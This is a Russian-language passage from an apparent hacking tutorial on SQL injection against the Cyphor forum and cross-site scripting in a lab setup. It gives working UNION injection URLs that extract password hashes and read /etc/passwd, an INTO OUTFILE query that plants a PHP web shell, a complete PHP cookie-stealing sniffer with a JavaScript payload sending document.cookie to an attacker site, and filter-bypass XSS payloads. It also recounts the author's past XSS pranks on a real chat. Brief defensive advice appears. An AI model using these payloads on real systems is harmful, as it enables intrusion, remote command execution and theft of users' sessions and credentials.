Он находится по адресу http://localhost/webexploitation_package_02/cyphor/ и выглядит так. Рис. найдите недалеко от начала файла строку с вызовом функции exit() вставьте перед ним знак решетки # (на рис. Я сделал это потому.05 SQL-инъекция SQL-инъекцию мы будем изучать на примере движка Cyphor. 05. что в установленной у меня версии Cyphor есть серьезные проблемы с регистрацией и входом пользователей. Итак. Но что такое SQL-инъекция 47 . как показано на рис. что в модуле newmsg. 05.1. у меня есть информация о том.php имеется SQLинъекция в параметре fid (идентификатор форума). Откройте его в редакторе Kate.1.2 нужная строка выделена серым) и сохраните файл.php . 05. Вход в Cyphor Для начала отредактируем файл newmsg.php в браузере без предварительного входа пользователя в Cyphor. Это изменение позволит работать с файлом newmsg.

SQL-инъекция Рис. пустое значение (null) или любая SQL-функция. тоже иногда используются хакерами. password FROM users Количество полей в обоих запросах должно быть одинаковым. Выглядит это следующим образом: SELECT fid. но мы их пока рассматривать не будем.). передаваемый в запрос SELECT.48 05. Начало файла newmsg. title FROM forums UNION SELECT nick. Вместо имени поля в запросе может стоять просто число (1. Это возможно. иначе система выдаст ошибку.. Например. имена и пароли пользователей). что и в первом запросе. Количество полей в добавляемом хакером запросе определяется экспериментально — пока система не перестанет выдавать сообщение об ошибке. вводимых хакером. Оператор SELECT позволяет извлекать данные из таблиц. 48 . строка символов (если в таблице соответствующее поле имеет строковый тип). password FROM users извлекает поля id и password из таблицы users. чтобы извлекать данные из таблиц базы данных (например. Однако из хакерских источников известно. Эти операторы используются в вебстраницах. 2. с помощью оператора UNION хакер может присоединить свой запрос к существующему и извлечь ценную информацию. что данные о пользователях хранятся в таблице cyphor_users.. выборка в присоединенном нами запросе будет делаться из той же таблицы.php (SQL-injection)? Кратко — это возможность выполнения операторов языка SQL. запрос SELECT id. Если не указать имя таблицы (параметр FROM). 05. такие как INSERT (вставить новую запись) и UPDATE (обновить. При подборе обычно удобно использовать числа. то есть изменить существующую запись). не фильтруется должным образом.2. а запрос SELECT * FROM users извлекает все поля из таблицы users. например имя и пароль пользователя. если параметр из строки адреса. Другие SQL-операторы. Оператор UNION позволяет объединять два запроса. Язык SQL (Structured Query Language — структурированный язык запросов) служит для создания запросов к базам данных. 3. Таким образом.

49 . чтобы отсечь конечную часть запроса. SQL-инъекция в модуле newmsg.3. Если система не распознает пробел в запросах. В диалекте языка SQL. что SQLинъекция действительно присутствует — система выдала на экран объединенный запрос (свой и наш).SQL-инъекция 49 в которой есть поля nick (логин) и password (пароль). Рис. что число параметров в обоих запросах совпало. используемом в системе управления базами данных (СУБД) MySQL. далее будем добавлять параметры по одному через запятую. 05. нас будет ждать очередная маленькая радость (рис. в качестве символов комментария обычно используются знаки /* (в некоторых системах --).php Такое сообщение об ошибке на самом деле свидетельствует о том.php?fid=-1 union select 1 from cyphor_users Часто в конец запроса добавляют символы комментария. можно заменить его знаком плюс (+) или последовательностью /**/. Страничка отобразится без ошибки. это говорит о том.2. 05. вводимую системой. означающей начало и конец комментария. Как вы могли заметить. Когда дойдем до четырех (union select 1. но у нас и так все будет работать.4 from cyphor_users). что количество столбцов в запросах разное. Поэтому наш первый запрос будет выглядеть так: union select 1 from cyphor_users А полностью строка адреса должна выглядеть следующим образом: http://localhost/webexploitation_package_02/cyphor/newmsg. она только «ругается». Результат показан на рис. Что ж.3.3. система заменила в строке адреса каждый пробел кодом символа пробела (%20). 05.4).

6).4.5 (пользователь admin). SQL-инъекция Рис. 05.50 05. Результат видим на рис. то есть просмотрев исходные файлы движка Cyphor). причем имя пользователя указывается в качестве параметра функции (предварительно имя 50 . 05. В Cyphor для шифрования пароля применяется функция crypt().5. Мы подобрали правильное число параметров в запросе UNION SELECT На экране у нас отображается только параметр с номером 2. Выводим на экран имя пользователя (admin) Теперь меняем параметр с номером 2 на password и видим на экране зашифрованный пароль пользователя admin (рис. 05. Сейчас можно заменить его полем nick (имя поля мы тоже знаем из хакерских источников. 05. Рис.

так что я могу применить эту функцию.version(). подобрать пароль в разумные сроки нереально. имя пользователя MySQL и имя базы данных. Можно также получить версию MySQL (а у нас установлена именно эта СУБД). 51 . чтобы вывести все пароли сразу (через запятую). сгенерированного Cyphor (если пользователь не заменил его своим).SQL-инъекция 51 Рис. user() и database(). используйте функцию group_concat. поскольку пароль зашифрован с помощью стандартного алгоритма DES. Однако. В результате на экране появится следующее: 5. приложение 3). цифр и специальных символов и имеет длину в 8 символов.0x3a. функции version(). Для этого служат. например: concat(name.id) Если требуется вывести несколько записей в одном поле вывода. 05. его можно взломать с помощью весьма быстродействующей программы John The Ripper (см. Выводим на экран зашифрованный пароль пользователя admin пользователя приводится к нижнему регистру). главу 0С). но с учетом того. то его можно взломать вообще моментально (см. что пароль генерируется самой программой Cyphor с использованием букв. соответственно.user(). Ну а что касается пароля. например: group_concat(password) У меня есть уже несколько созданных мною пользователей Cyphor.0.6.24a:root@localhost:cyphor Для объединения нескольких полей в одном можно также использовать функцию concat. Все три выводимых параметра можно объединить в одном поле с помощью функции concat_ws: concat_ws(0x3a. казалось бы. Можно написать на языке PHP программу перебора паролей.database()) Здесь первый параметр — это шестнадцатеричный код разделителя (двоеточия).

или /*).5.11.52 05.9. php.6.10 . Предположим. мы нашли в параметре param некоторого скрипта следующую SQL-инъекцию: param=1 union select 1.4. применим шестнадцатеричные коды символов: load_file(0x2f6574632f706173737764) Это срабатывает не всегда.14 В процессе подбора количества колонок мы увидели.12. Вывод содержимого файла /etc/passwd на экран с помощью функции load_file В приложении 2 дополнительно рассмотрены две SQL-инъекции в модуле show.4. Вроде бы ничего страшного.1.3.concat(user_name. что скрипт добавляет к концу нашего SQL-предложения еще символы .15 from p_user . Рис. но на нашем чертовски уязвимом Линуксе все получается отлично (рис.9. SQL-инъекция Можно также попробовать просмотреть файл /etc/passwd.11. Сейчас мы рассмотрим еще пару полезных примеров обхода ограничений.7). то результирующее SQL-предложение будет ошибочным: param=1+union+select+1.8. Для этого используется функция MySQL load_file('etc/passwd'). password.13. Но если мы хотим сделать запрос к конкретной таблице. email). которая допускает 52 . просто в конце запроса появился еще один параметр.6. Что делать? Я предлагаю использовать опцию LIMIT.2. Поскольку обычно кавычка фильтруется (а также могут фильтроваться слэш и имя файла в целом).1 Предположим. а в приложении 4 описан готовый эксплойт для SQL-инъекции в этом модуле. 05.2.8. 05.12. указав в конце символы комментария (-.10.7.7.14.13.0x25.5. но это не сработало.0x25.7. мы сделали попытку закомментировать добавляемую системой часть запроса.

12.. Иногда есть право на запись не в основной каталог сайта. а в один из вложенных каталогов. Получение информации из базы данных В этом разделе мы научимся с помощью оператора select . от имени которого выполняется Apache.10 . а в следующем разделе будем учиться создавать веб-шелл. password. В качестве основы нашего примера используем SQL-инъекцию в модуле newmsg.concat(user_name.6.11.concat(user_name. +.10 .15 from p_user WHERE 1= Тогда результирующий запрос принял бы следующий вид: param=1+union+select+1.. Если бы в сценарии добавлялось просто число 1 (без запятой впереди).2.0x25. В реальной жизни у пользователя nobody.5.15 from p_user WHERE 1=1 Условие WHERE 1=1 с точки зрения синтаксиса языка SQL (где 1 = 1) является правильным и выполняется всегда. Эта команда разрешает запись всем пользователям в каталог cyphor.1 примет допустимый с позиций языка SQL вид: param=1+union+select+1.0x25.8.14.concat(user_name.9.4.11..11. Это нужно.5.concat(user_name. Команда select .8. email).6.5. то иногда хакеру приходится использовать арифметические операции (–.php.into outfile выводит информацию.13. в выводимый файл.6. Если в запрос подставляется конкретное значение.7.7. поэтому дополненный запрос будет работать нормально. Кроме того.13.1 И еще один пример на базе предыдущего.12.0x25. можно было бы использовать условие WHERE: param=1+union+select+1.9. 1 или 0). чтобы создавать файлы в этом каталоге.9. email).0x25.into outfile извлекать из базы важную информацию и записывать ее в выводимый файл. Для начала в консоли зайдите в каталог /usr/local/apche/htdocs/ и выполните команду chmod 777 cyphor.13.4. /).0x25. выбираемую запросом SELECT.12.0x25. Если количество открывающих скобок при этом превышает количество закрывающих.8.14.7. password.4. Тогда наш запрос будет выглядеть так: param=1+union+select+1.10 . 15 from p_user LIMIT 0.9.10 .2.. Следующий запрос 53 . например id=31.0x25.0x25.13.14.15 from p_user LIMIT 0 А результирующий запрос после добавления в конце символов .2. например images или include.12. email).5.14. где хранится сайт.2. *.6.8. обычно есть право записи в каталог. password. хакеру нужно постараться добавить в свой запрос недостающие скобки (с сохранением правильного синтаксиса SQL). иногда хакер может отрезать добавляемый системой запрос с помощью комментария (/* или --). password.Получение информации из базы данных 53 указание двух числовых параметров через запятую.7. email). В каждом случае это надо выяснять экспериментально.11. чтобы получить нужное значение параметра (например.4.

Файл с информацией о пользователях Cyphor Как вы уже заметили.password).?></pre>") 54 . если нужно извлечь из базы сразу все записи. 05.nick. выводимые запросом (когда ранее мы применяли эту инъекцию для вывода данных на экран.2. Также здесь при желании можно использовать все 4 поля.4 вместо второго параметра вставляем следующее: hex("<pre><? system($_GET['cmd']). В данном случае у нас всего один пользователь — admin. то. у нас отображалось только содержимое поля с номером 2).txt. Мы можем вызвать ее прямо на уязвимом сайте. как с помощью функции outfile создать хакерский веб-шелл.8. Создание веб-шелла Теперь мы рассмотрим.3. открыв в браузере файл http://localhost/webexploitation_package_02/cyphor/user.4 from cyphor_users into outfile ‘/usr/local/ apache/htdocs/webexploitation_package_02/cyphor/user. цифры из запроса тоже попали в файл.txt в каталоге форума: select 1.nick.54 05. Для начала мы должны закодировать текст нашего шелла с помощью функции hex.txt' Полностью этот запрос будет выглядеть так: http://localhost/webexploitation_package_02/cyphor/showmsg. Выводить информацию в файл удобно. Рис. concat_ws(0x3a.concat_ws(0x3a.3.txt’ Если вы все ввели правильно и запрос выполнился без ошибок.password). и таких записей очень много.4 from cyphor_users into outfile '/usr/ local/apache/htdocs/webexploitation_package_02/cyphor/user. можно вместо цифр использовать пустые значения (null). 05. вы увидите на экране информацию обо всех пользователях (рис. Для этого в запрос union select 1.8).php?fid=-1 union select 1. чтобы он выглядел аккуратнее. Если мы хотим.3. SQL-инъекция выведет информацию обо всех пользователях Cyphor в файл user.

Создание веб-шелла 55 На рис.php?cmd=ls+-la Результат показан на рис. Можете также загрузить из Интернета и установить в своей системе другие уязвимые движки (например. Найдите в Интернете и опробуйте на практике известные уязвимости для уже установленных в DVL популярных веб-движков (искать следует по запросу: название-и-версия-движка sql injection). Рис. желающие поставить под свой контроль максимальное количество сайтов. автоматизирующие подбор количества параметров в SQLинъекции.null.null into outfile '/usr/local/apache/htdocs/webexploitation_package_02/ cyphor/shell. 55 . а затем можно выполнить любую команду.php. Тогда можно поискать эти дополнительные модули в Сети. Кодируем текст веб-шелла функцией hex Скопируйте этот текст (без кавычек) в буфер обмена. Это помогает существенно сэкономить время.2). следует перейти по нужному адресу. пишут сценарии. ComicShout v. 05. 05. которых нет в наших версиях. Полностью запрос будет иметь следующий вид (все записывается в одну строку): http://localhost/webexploitation_package_02/cyphor/showmsg.9. Хакеры.9 вы видите результат работы функции.php' После того как запрос выполнится и наш хакерский веб-шелл запишется в файл shell. кодирующей текст вебшелла. Иногда уязвимости обнаруживаются в модулях. Как стать экспертом в области SQL-инъекций? Надо больше тренироваться. 05. предварительно поставив перед ним символы 0x (признак шестнадцатиричного значения). потому что количество столбцов иногда может достигать нескольких десятков.php?fid=-1 union select 0 x3С7072653E3C3F2073797374656D28245F4745545B27636D64275D293B3F3E3C2F7072653E . после чего подготовьте текст запроса и вставьте в него текст из буфера.null.10. например: http://localhost/webexploitation_package_02/cyphor/shell.

полученное из параметра id . SQL-инъекция Рис. В этом модуле есть такая строка: $message_mode = 1. Если нет. 05.56 05. мы ее рассмотрим на примере модуля show. Хакерский веб-шелл успешно работает Защита от SQL-инъекции И теперь. $text_to_check = htmlspecialchars($text_to_check). в целое число и проверяем. if (!$id) { die("<br><h1>Hacking attempt!"</h1>). аналогичной очистке нужно подвергнуть и параметр fid. } Мы здесь преобразуем значение.php форума Cyphor. Результат работы исправленного модуля показан на рис. Вот достаточно универсальный фильтр от инъекций: $text_to_check = mysql_real_escape_string ($_GET["запрос"]). если передаваемый параметр имеет строковый тип. как защитить себя от SQL-инъекции. защиту организовать немного сложнее. $text_to_check = strip_tags($text_to_check). В случае. $_GET["запрос"] = $text_to_check.11. $text_to_check = addslashes($text_to_check).10. Разумеется. то завершаем работу модуля с сообщением о попытке взлома. После этой строки нужно добавить следующий код: $id = intval($id). преобразовалось ли оно. по традиции. Программная защита проста. я расскажу. $text_to_check = stripslashes($text_to_check). а также параметры в других модулях форума. 56 . 05.

такие как select. // Продолжаем работу } Выполняем запрос Запрос не был выполнен или кол-во найденных полей = 0 Переход на главную страницу Если ваш сайт не содержит разделов. в которых производится запись или редактирование строк в базе данных. char. Вот пример на языке PHP 5: $section = $_GET[section]. достаточно написать следующее (например.. это обеспечит хорошую защиту от SQL-инъекций. например.Защита от SQL-инъекции 57 Рис. Отключение режима вывода на экран ошибок. $result = mysql_query ("SELECT * FROM 'tbl_name' WHERE 'section' = $section "). if (!$result || mysql_num_rows ($result) == 0) { // Читаем параметр // // // header ("Location: http://$_SERVER[HTTP_HOST]/"). серьезно усложняет задачу хакеру. перенаправляйте пользователя. from. where. Если их количество оказывается равным нулю. Старайтесь проверять результат каждого запроса на выполнение и на количество найденных записей. то необходимо у пользователя базы данных 57 . 05. } else { . // // exit (). order.11. возникших при неверном запросе. Для обеспечения конфиденциальности логина и пароля для доступа к базе данных функции подключения к базе данных лучше хранить в отдельном файле и подключать его в каждой странице сайта. на главную страницу. в файле подключения базы данных): ini_set('display_errors'. Наша защита модуля show. Чтобы отключить режим вывода ошибок..php в действии Можно также специально искать в запросе ключевые слова языка SQL. union. '0').

Чтобы устранить конфликт. Решение проблем с кодировкой У хакера проблемы с кодировкой возникают. а затем — функции md5 ). В этой главе мы рассмотрели SQL-инъекцию в системе управления базами данных MySQL. SQL-инъекция оставить право только на чтение данных (по умолчанию у пользователя базы данных есть права и на удаление. и на редактирование). что нельзя смешивать в операции UNION эти кодировки. Как вы уже знаете.2. имеют кодировку latin1_swedish. что данные. Что же касается системы управления сайтом (CMS). обязательно хэшируйте их (лучше нестандартным образом. Никогда не храните пароли на доступ к базе данных в открытом виде. А для разделов сайта.SYSCONST) for operation 'UNION' Эта ошибка возникла потому.site. следует завести отдельного пользователя. а данные. convert(user() using latin1). хакер подобрал число столбцов на некотором сайте и пытается узнать имя пользователя mysql: http://www.php?id=-1 union select 1. выводя сообщение о том. достаточно преобразовать в кодировку latin1 вывод функции user() при помощи функции convert(): convert(user() using latin1) Тогда запрос примет следующий вид: http://www. возвращаемые функцией user(). возвращаемые из базы данных сайта. то здесь также необходимо создать отдельного пользователя базы данных с полным набором прав. В результате MySQL «ругается». с помощью SQLинъекции легко извлечь эту информацию из базы данных.IMPLICIT) and (utf8_ general_ci. например с использованием функции sha1 . что хакер не сможет ею воспользоваться. а описание SQL-инъекции для MS SQL можно найти в приложении 5.user().net/module. если хорошо зашифровать информацию.php?id=-1 union select 1.4 -- Однако вместо желаемого результата хакер получает ошибку типа ERROR 1267 : Illegal mix of collations (latin1_swedish_ci.58 05.site. есть большая вероятность того.2. если сайт использует национальную кодировку. у которого будет право на редактирование только конкретной таблицы. Предположим.net/module. требующих более широких прав (например. для книги отзывов или форума). однако. — кодировку utf8_general.4 -- Этот запрос выполнится без ошибки и выведет имя пользователя. 58 .

что программисты и администраторы недооценивают данный тип атак. Хакеры не всегда используют XSS. но на самом деле — это очень опасный тип уязвимостей. или крест (по-английски — cross). когда сценарий не фильтрует поступившие от пользователя данные. Исторически сложилось так. как можно было бы ожидать. Аббревиатурой межсайтового скриптинга являются символы XSS. вы поняли. Что такое cookie (читается «куки»)? Это файл с информацией о текущем пользователе. Буква «X» в сокращении XSS символизирует пересечение. Существует два вида межсайтового скриптинга: пассивный и активный. поэтому многие продукты сейчас страдают от межсайтового скриптинга. причем вызывает его сама жертва. Именно благодаря cookie-файлам сайт «узнает» вас и не заставляет заново вводить пароль при 59 . Обе эти разновидности будут подробно рассмотрены чуть позже. который сайт создает на компьютере клиента. Области применения XSS Чаще всего межсайтовый скриптинг применяется для воровства cookie-файлов и перехвата сессий. так что. XSS) — это такой тип уязвимости интерактивных информационных систем.06 Межсайтовый скриптинг Межсайтовый скриптинг (Cross-Site Scripting. так как сокращение CSS уже занято каскадными таблицам стилей (Cascade Style Sheets). что вредоносный скрипт с сервера выполняется на компьютере клиента. Данный тип атак интересен тем. я думаю. а не CSS. Уязвимость типа XSS представляет собой вставку произвольного HTML/ JavaScript/VBScript-кода в результат работы сценария в тех случаях. чтобы не было путаницы. откуда взялось такое сокращение. при котором в генерируемые сервером страницы по какой-то причине попадают пользовательские скрипты. которые используются при написании кода сайтов.

Данный вид XSS чреват разоблачением хакера. хакеру нужно отправить ссылку с html-кодом вместо значения параметра. поместив его в соответствующую папку на своем компьютере. Поэтому если хакер собирается подсунуть такую ссылку администратору сайта или просто продвинутому пользователю.60 06. все. Еще данный способ неудобен в реализации из-за того. то. причем данный параметр скриптом не фильтруется. Плюс ко всему заданный скрипту запрос отображается на страничке результатов. кто зайдет на эту страницу. Можете также задействовать другие теги. что заставить пользователя перейти по ссылке непросто. На первый взгляд кажется. сможет зайти на сайт в качестве администратора без ввода логина и пароля. Давайте изучим пассивный межсайтовый скриптинг на примере поиска по сайту. например: script. просто посмотрев на ссылку с опасным кодом. Есть и другие цели применения XSS. что 60 . Если путем межсайтового скриптинга хакер утащит cookie-файл администратора. межсайтовый скриптинг может использоваться для полного контроля над браузером жертвы в реальном времени. например <marquee> и </marquee>. заразятся.Pupkin». Массовое заражение также может быть осуществлено. когда через XSS-уязвимости на популярных сайтах массово распространялись XSS-черви. Межсайтовый скриптинг просмотре каждой странички. если хакер напишет трояна или червя на JavaScript или VBScript. скрипту. Однако возможна и просто безобидная шутка типа выскакивающего окошка с надписью «Hacked by V. то есть при атаке хакеру нужно каким-либо образом заставить пользователя вызвать XSS. заражение вирусом массы пользователей (через уязвимость в браузере). Кроме того. Если хакеру удастся войти в доверие к пользователю. Тогда ссылка должна быть такой: script. передается поисковый запрос через параметр search. Например. На помощь приходят приемы социальной инженерии. чтобы текст выводился крупными буквами.php?search=<b>Hacked</b> Если удастся заставить пользователя перейти по этой ссылке. Известны случаи. на которой жирным шрифтом будет выведено слово «Hacked». то он увидит страницу. Соответственно.php?search=[искомая строка] Соответственно. реализующему такой поиск. Допустим. Тогда он может поместить вредоносный код на какой-нибудь странице уязвимого сайта. достаточно просто сказать. так как пользователь может заподозрить что-то неладное. что ссылки получаются слишком длинные. Пассивный межсайтовый скриптинг Пассивный межсайтовый скриптинг срабатывает только при передаче пользователем определенных данных. тогда текст будет отображаться как бегущая строка. тот вряд ли по ней проследует. или <h1> и </h1>.

которая сохраняет в базе данных (или в файле) отзывы посетителей сайта. или хотя бы угловые скобки.Активный межсайтовый скриптинг 61 там расположена какая-то картинка или еще что-нибудь интересное. то в текст отзыва можно без проблем вставить определенный htmlкод. Для этого придется писать htmlформу. заменить шестнадцатеричными кодами символов (%3c — это открывающая угловая скобка. Достаточно.php?search=%3cmarquee%3eHacked%3c/marquee%3e Обратите внимание на то. Данный вид XSS-атак является самым опасным и при этом почти незаметным. Активный межсайтовый скриптинг Активный межсайтовый скриптинг заключается в непосредственной вставке html-кода. Когда пользователь зайдет на страничку хакера. то ничего не выйдет.php?search=<b>Hacked</b> Если хакер даст пользователю опасную ссылку на скрипт. где пользователь имеет возможность оставлять свои сообщения. сайт уязвим для XSS Этот код выведет в браузере пользователя окно с надписью «Hacked by Vasya!» 61 . То есть там. когда любой пользователь посмотрит все отзывы. При выполнении главного скрипта отображаются все записи из таблицы отзывов (а вместе с ними и «отзыв» со вставленным в него вредоносным кодом). который сохранится в базе и будет выполняться каждый раз. что при следующей ссылке значение параметра передается методом GET: script. который принимает данные методом POST. который тут же отправит пользователя на уязвимый сайт и передаст нужные параметры сценарию. %3e — закрывающая): script. не позаботился о фильтрации html-тегов. текст отзыва может быть таким: Теги не фильтруются <script>alert('Hacked by Vasya!')</script>. Вместо кода <b>Hacked</b> хакер может написать код перехвата сессии или кражи cookie (об этом позже). Например. Активный межсайтовый скриптинг широко применяется в различных форумах и блогах. Чтобы не вызвать подозрений у пользователя. вставленный взломщиком посредством активного межсайтового скриптинга. которые увидит множество посетителей. можно всю ссылку. где уже имеется опасный html-код. что не требует от пользователя тем или иным образом выполнить XSS-скрипт. Если программист. Он лучше пассивного тем. сработает javascript-код. написавший гостевую книгу. чтобы пользователь зашел на определенную страницу. рассмотрим для примера гостевую книгу. которая методом POST отправляет данные пользователя скрипту. Чтобы сама техника атаки была понятна.

06.php со следующими командами: <?php $name=$_GET['name']. В том же каталоге создайте файл form. Пример мини-приложения. ?> Сохраните его в каталоге /usr/local/apache/htdocs.html (рис. 06. Межсайтовый скриптинг Чаще всего данному типу XSS-атак подвержены форумы. Созданная нами форма ввода form. как показано на рис. в которых используется множество переменных. крупными буквами будет выведено слово «Hacked». уязвимое для XSS.php" method="GET"> <input type=text name="name"> <input type=submit value="OK"> </form> Форма будет принимать вводимую строку и по щелчку на кнопке OK передавать ее текст в качестве параметра (name) программе name. как показано на рис. 62 . echo "Your name is $name".1. Vasya) и щелкните на кнопке OK. 06.html Модуль name. уязвимого для XSS Сейчас мы создадим мини-приложение. и за каждой очень трудно уследить.html с таким кодом: <form action="name. кроме того.3.php.62 06. Откройте в браузере форму http://localhost/form. 06. фильтруется ли она должным образом. если снова открыть форму form.html и вместо имени ввести код <h1>Hacked<h1>.1). Рис.2. проверяя. В редакторе создайте файл name. введите имя (например. уязвимы любые скрипты.php отобразит введенное вами имя. Теперь.

Результат работы модуля name. 06. (На практике не все так просто. увидите результат. 06. уязвимого для XSS 63 Рис. На страничке form. щелкнув на кнопке OK.Пример мини-приложения. то. Если вы все набрали без ошибок. генерируемой модулем name.html в поле ввода введите <script>alert('Hacked by Vasya')</script> Здесь теги <script> и </script> задают начало и конец скрипта (сценария). 06. а функция alert() выводит текст в отдельном окне в виде предупреждения. показанный на рис.php. а просто включаются в текст веб-странички. открывшего ссылку (а не на сайте). потому что антивирусные программы обычно распознают 63 . заставляющие печатать заключенный между ними текст крупными буквами) не фильтруются. Теперь — самое интересное: попробуем выполнить в браузере маленький сценарий на языке JavaScript. Если мы передадим жертве готовую ссылку (из поля Location) и жертва перейдет по ней. что html-теги (в нашем случае теги <h1> и </h1>.2. например запускать какие-либо программы.php — html-теги не фильтруются Это означает.4.3. Результат работы модуля name.php — вывод имени пользователя Рис. то сценарий выполнится именно в браузере человека. То есть теоретически хакер может творить на чужом компьютере всякие бесчинства.

Хотя сейчас можно воспользоваться готовым онлайн-снифером. // эта часть скрипта принимает // украденные cookie. использующие cookie. запись всегда будет 64 . Межсайтовый скриптинг Рис. куда будет // производиться запись полученных cookie $fh=fopen ($db. мы напишем свой php-снифер и задействуем его для кражи cookie. Сейчас мы попробуем написать такой jаvаsсript-код. Рис. Мы можем просто просмотреть содержимое cookie. //открываем файл для записи. введя сценарий <script>alert(document. <? $query = $_SERVER['QUERY_STRING']. сохраняет их в текстовом файле на хакерском сервере.cookie)</script> А если вы из системы Damn Vulnerable Linux посещали сайты. в свою очередь. который. конечно. 06.txt". Выполнения сценария хакера в браузере жертвы и блокируют вредоносные сценарии. "a+"). 06. переданные JavaScript'ом $query . у вас отобразится что-то наподобие показанного на рис. а незаметно переслать его на свой компьютер. 06. который при вставке в форму нашего приложения отправляет cookie-файлы жертвы хакерскому php-скрипту (он называется php-снифером). они здесь вставлены просто для пояснения работы программы. Просмотр содержимого cookie В реальности. хакеру нужно не показывать содержимое cookie-файла пользователю. // здесь мы указали файл.64 06.5.= "\n".5. // каждая запись производится с новой строки $db="/tmp/cookies. Комментарии набирать не надо (все равно русский язык в DVL не поддерживается).) С помощью специально подготовленного сценария можно «утянуть» с компьютера жертвы ее cookie-файлы.4.

 'http://ваш_сайт/ваш_снифер. потому что туда есть доступ на запись всем пользователям.6).replace('http://localhost/steal. "$query"). Если захотите использовать cookie непосредственно в браузере. 06.replace('http://ваш_сайт/ваш_снифер. к которой есть доступ на запись у пользователя nobody. </script> После щелчка на кнопке OK наш скрипт у пользователя сработает. будет начинаться с символов com=.php. но на самом деле в скрипте снифера такой переменной нет. уязвимого для XSS fputs ($fh.  ?com='+document.php. В нашем случае просто сохраняем его в каталог /usr/local/apache/htdocs под именем steal.php?com='+document. позволяет писать личные сообщения какой-то обожаемой им знаменитости и т. и на нашем сервере выполнится снифер steal. а в каталоге /usr/local/apache/htdocs у пользователя nobody. п. к которому есть доступ у хакера. под именем которого работает веб-сервер. В реальной жизни следует создать на своем сайте папку.txt. не забудьте удалить эти лишние символы. После этого хакер может «впаривать» ссылку жертве. Создаем сам jаvаsсript-код для вставки в строку формы по образцу: <script>document.php?com='+document.location.php — адрес нашего снифера.cookie — вроде бы присваивание переменной com украденных cookie-файлов.cookie). В нашем случае мы вводим в поле формы form.txt выводим на экран содержимое файла cookies. Теперь нужно загрузить снифер на хост в Интернете.replacе — перенаправление украденных cookie-файлов на наш снифер. нет прав на запись. Cookie-файлы будем сохранять в каталоге /tmp.</script> Разберем образец подробнее:  document. А это уже дело социальной инженерии. 65 .txt с cookie-файлами (рис. поэтому у нас каждый присланный cookie-фрагмент. После выполнения этого скрипта cookie-файлы будут отосланы на ваш веб-сервер и записаны в файл cookies. Далее заходим в каталог /tmp и командой cat cookies.location. ?> // // // // 65 производиться в конец файла (новые cookie будут добавляться к старым) записываем cookie в файл после записи закрываем файл Этот код php-снифера будет принимать в виде параметра cookie-файлы жертвы и сохранять их в файле cookies.Пример мини-приложения. fclose ($fh). что скрипт поднимает рейтинг в социальных сетях. и он пишет в файл всю строку после знака ? (из переменной QUERY_STRING). чтобы жертва ничего не заподозрила. cookie).html следующую строку: <script> document. В реальной жизни хакер преобразует наш запрос в шестнадцатеричные значения или в кодировку base64. сохраняемый в файл.location.txt. Можно сказать объекту.

Посредством XSS можно также просмотреть исходный html-код странички. получали. о котором я писал в главе 03. Разумеется.6. 06. а пример с чатом «Кроватка» — к активному.66 06. Их можно попытаться расшифровать (например. Разумеется. Украденные cookie-файлы Далее предполагается. просто изучая исходный текст html-странички). вставляя в свои сообщения вызов стандартных скриптов чата (я узнал их имена. я вам рассказал все это в целях ознакомления и самозащиты от подобных манипуляций со стороны хакеров. по моей милости. у кого были разрешены любые теги.txt записываются cookie-файлы жертвы. и зачастую те (немножко недоумевая по поводу того. применяя не «ослика IE» (то есть Internet Explorer). В результате все те. пример нашего уязвимого мини-приложения относится к пассивному межсайтовому скриптингу. То-то она обрадовалась! ☺ Вот такое своеобразное чувство юмора у некоторых администраторов компьютерной безопасности. или с помощью одной из программ. которые. я тотчас сделал так. приглашения в приват от неких популярных чаттеров. сейчас автор ни за что не стал бы повторять такие шалости. в онлайн-сервисе для расшифровки md5-хэшей. естественно. что жертва щелкает на ссылке и в файл cookies. Как вы уже поняли. как много лет назад я развлекался в чате «Кроватка». Либо можно использовать cookie-файлы в исходном виде. например. Межсайтовый скриптинг Рис. А когда одна девушка в общем чате пожаловалась. я как бы занимался виртуальным «сводничеством».. а не для применения на практике. а браузер Opera или Firefox. да и html-теги в чатах уже давно и повсеместно фильтруются. В то время в «Кроватке» режим разрешения либо частичного или полного запрета тегов выбирался самим пользователем. кто кого первый пригласил) действительно уединялись в приват.. что никто не хочет с ней общаться. Сейчас вспомнил (и улыбнулся). Передавая одновременно приглашения от имени друг друга выбранным мной парню и девушке. на самом деле никаких приглашений не посылали. описанных в главе 0С). у кого было разрешено выполнение сценариев (а таких оказалось более десятка). Для этого используется следующая функция: 66 . что ее одновременно пригласили (якобы) в приват все те присутствующие.

 <META>.url=javascript:alert('XSS'). хотя на самом деле в страницу можно включить любой сценарий.">  <BODY>.innerHTML. если тег <script> фильтруется? Многие программисты боятся тега <script> и поэтому его фильтруют. делятся на две группы:  теги. } Когда будете вводить это в браузере. которые нормально работают в любых браузерах. в которых допустимо использование опции javascript (или vbscript). которое выполняется при загрузке страницы. // выводим код страницы вызовом alert() alert(CodeOfPage). Это всем известный тег: <BODY BACKGROUND="javascript:alert('XSS')" > У него есть свойство OnLoad.Как хакеры обходят механизм фильтрации тега <script> 67 function ShowPage(){ // В переменную page помещаем все свойства тега <html> var page=document.getElementById("html"). где в параметре CONTENT можно указать произвольный код: <META HTTP-EQUIV="refresh" CONTENT="0. В это свойство можно вставить javascript-код следующим образом: <BODY ONLOAD=alert('XSS')>  <IMG>. есть еще много тегов. которые можно использовать для межсайтового скриптинга. Сейчас для краткости мы рассмотрим только вывод сообщения (alert). Как хакеры обходят механизм фильтрации тега <script> Что делать хакеру. У тега <META> есть свойство refresh. Давайте сначала рассмотрим теги. которые обрабатываются всеми браузерами. которые работают только в браузере Internet Explorer. начинающиеся с символов //.  теги. Это теги. но нам нужно не это. // а теперь в переменную CodeOfPage помещаем код страницы var CodeOfPage=page. Служит для индексирования страницы поисковиками. Но даже если он фильтруется. Для межсайтового скриптинга может использоваться свойство SRC: <IMG SRC="javascript:alert('XSS')"> Но что делать. если слово javascript фильтруется? Можно попробовать обойти фильтрацию следующим способом: <IMG SRC="javascript:alert('XSS')"> 67 . Все теги. и запишите все в одну строку. удалите комментарии. через которые можно провести XSSскрипт.

68

06. Межсайтовый скриптинг

Вот еще несколько вариантов:
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC="
javascript:alert('XSS');">

Можно также использовать язык VBScript:
<IMG SRC='vbscript:msgbox("XSS")'> 

<STYLE>. О данном теге для IE мы поговорим позже, а вот вариант, который
работает во всех браузерах:
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

Теперь рассмотрим теги, которые правильно обрабатываются только в Internet
Explorer. 
<TABLE> . Данный тег служит для создания таблиц. У него есть свойство
